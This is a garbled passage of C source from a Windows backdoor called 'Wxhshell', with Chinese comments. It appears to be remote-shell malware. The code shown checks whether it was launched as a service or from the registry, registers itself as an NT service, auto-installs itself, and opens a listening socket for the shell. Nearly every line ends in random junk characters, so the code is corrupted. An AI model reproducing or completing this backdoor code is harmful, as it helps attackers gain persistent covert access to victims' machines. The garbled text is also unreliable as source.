ULONG UniqueProcessId; &?0hj@kd~
ULONG InheritedFromUniqueProcessId; [h@MA|
} PROCESS_BASIC_INFORMATION; NB.&J7v
Z*kZUx7I<
PROCNTQSIP NtQueryInformationProcess; QV*W#K\7q
qy,X#y'FuE
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VK/i5yT5N
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y^ti;:
-FW'i10\2+
HANDLE hProcess; nOdAp4{:q%
PROCESS_BASIC_INFORMATION pbi; vy{YGT
x5YHmvy/l
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kOLS<>.
if(NULL == hInst ) return 0; #e5*Dr8
H\RuYCn2G
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F^}n7h=qk
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $-R9J6NN
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :}[[G2|9
TM$Ek^fQ.
if (!NtQueryInformationProcess) return 0; mqv!"rk'w
F/chE c
V
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z<~^(W7h
if(!hProcess) return 0; Nbm=;FHB`
c[E>2P2-_
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BGZvgMxLJ
d+Bz
pS@p
CloseHandle(hProcess); hP]zC1s
%{K6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u9^R
?y
if(hProcess==NULL) return 0; Bg0 aLU)[
& wG3RR|
HMODULE hMod; -Drm4sTpDb
char procName[255]; lL6qK&;
unsigned long cbNeeded; bcy(
?(
C@q&0\HN
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Gj(UA1~1
n:5*Tg9
CloseHandle(hProcess); zV=(e( [
h|
+(
if(strstr(procName,"services")) return 1; // 以服务启动 dL!K''24{
p!w}hB598
return 0; // 注册表启动 k.CHMl]
} > [|SF%
s7#|'jhZt
// 主模块 DozC>
int StartWxhshell(LPSTR lpCmdLine) uyDYS
{ 4!r>
^a
SOCKET wsl; ^iwM(d]#5
BOOL val=TRUE; Y2Y!^A89
int port=0; C},$(2>0+
struct sockaddr_in door; `L<)9*
gZ1|b
if(wscfg.ws_autoins) Install(); 7f`x-iH!]7
)gAFz+
port=atoi(lpCmdLine); Q`X5W
N~A#itmdx
if(port<=0) port=wscfg.ws_port; k<3_!?3
*>XY' -;2e
WSADATA data; #O.-/&Z
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b1{XGK'
lt&30nf=
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; I NE,/a=
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~IE5j,SC
door.sin_family = AF_INET; D3emO'`gQ
door.sin_addr.s_addr = inet_addr("127.0.0.1"); vDAv/l9
door.sin_port = htons(port); pY9>z;qD
8E!I9z
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TAt9+\'
closesocket(wsl); ,`JXBI~
return 1; @9rmm)TZ
} NX*9nwp^
Eh)VU_D
if(listen(wsl,2) == INVALID_SOCKET) { "rA:;ntz
closesocket(wsl); fJ3qL#'
return 1; YMx
zj
} ;Q.g[[J/p
Wxhshell(wsl); 7TQh'j
WSACleanup(); S hM}w/4
[+st?;"GF
return 0; s=nE'/q1|
|KFWW
} \'L6m1UZ%
D{,B[5
// 以NT服务方式启动 " lf_`4
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]41G!'E=
{ r} ~l(
DWORD status = 0; dkQA[/k
DWORD specificError = 0xfffffff; nA]dQ+5sT
C"IP1N
serviceStatus.dwServiceType = SERVICE_WIN32; Hvq< _&2
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;v6e2NacM'
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Eu
)7@
serviceStatus.dwWin32ExitCode = 0; XjwTjgL<
serviceStatus.dwServiceSpecificExitCode = 0; `<>8tZS9"
serviceStatus.dwCheckPoint = 0; A{E0 a:v
serviceStatus.dwWaitHint = 0; m(3bO[u1
1Nk}W!v
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (t9qwSS8z
if (hServiceStatusHandle==0) return; ~5wCehSb
7}r!%<^
status = GetLastError(); `q exEk@S
if (status!=NO_ERROR) ZX.VzZS
{ !+M H?A
serviceStatus.dwCurrentState = SERVICE_STOPPED; 6iFd[<.*j
serviceStatus.dwCheckPoint = 0; b['TRYc=:
serviceStatus.dwWaitHint = 0; 00G[`a5
serviceStatus.dwWin32ExitCode = status; QLH
s 3eM
serviceStatus.dwServiceSpecificExitCode = specificError; ii*Ty!Sa
SetServiceStatus(hServiceStatusHandle, &serviceStatus); i
c]f o
return; b}$m!c:<8
}
Te>7I
yg2~qa:dZ
serviceStatus.dwCurrentState = SERVICE_RUNNING; C({L4O#?o
serviceStatus.dwCheckPoint = 0; kkrQ;i)Z
serviceStatus.dwWaitHint = 0; _ }!Q4K
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j<+iL]b
} {F
k]X#j
F,O+axO
ja
// 处理NT服务事件,比如:启动、停止 @Ds?
VOID WINAPI NTServiceHandler(DWORD fdwControl) xsFW F*HPs
{ (cYc03"
switch(fdwControl) &/\0_CoTR\
{ (U`7[F
case SERVICE_CONTROL_STOP: X5U!25d]
serviceStatus.dwWin32ExitCode = 0; [-$&pB>w8'
serviceStatus.dwCurrentState = SERVICE_STOPPED; $Y,]D*|"K
serviceStatus.dwCheckPoint = 0; $vy.BYFm
serviceStatus.dwWaitHint = 0; #OWwg`AWv
{ ~ilbW|s?=k
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (p14{
} ^@)/VfVg
return; VUF7-C*
case SERVICE_CONTROL_PAUSE: ^[%~cG
serviceStatus.dwCurrentState = SERVICE_PAUSED; J7QlGm,=
break; Y=3Y~
case SERVICE_CONTROL_CONTINUE: 1}8e@`G0.]
serviceStatus.dwCurrentState = SERVICE_RUNNING; {=g-zsc]K
break; ?EX'j
>
case SERVICE_CONTROL_INTERROGATE: 8d)F#
break; [1nI%/</>
}; fJE ki>1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ooZ7HTP|
} DO03vN
']vX
// 标准应用程序主函数 \Y!Z3CK
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {.,OPR"\
{ ydns_Z
#zy,x
// 获取操作系统版本 RL&3 P@r
OsIsNt=GetOsVer(); I;-{#OE,
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?$n<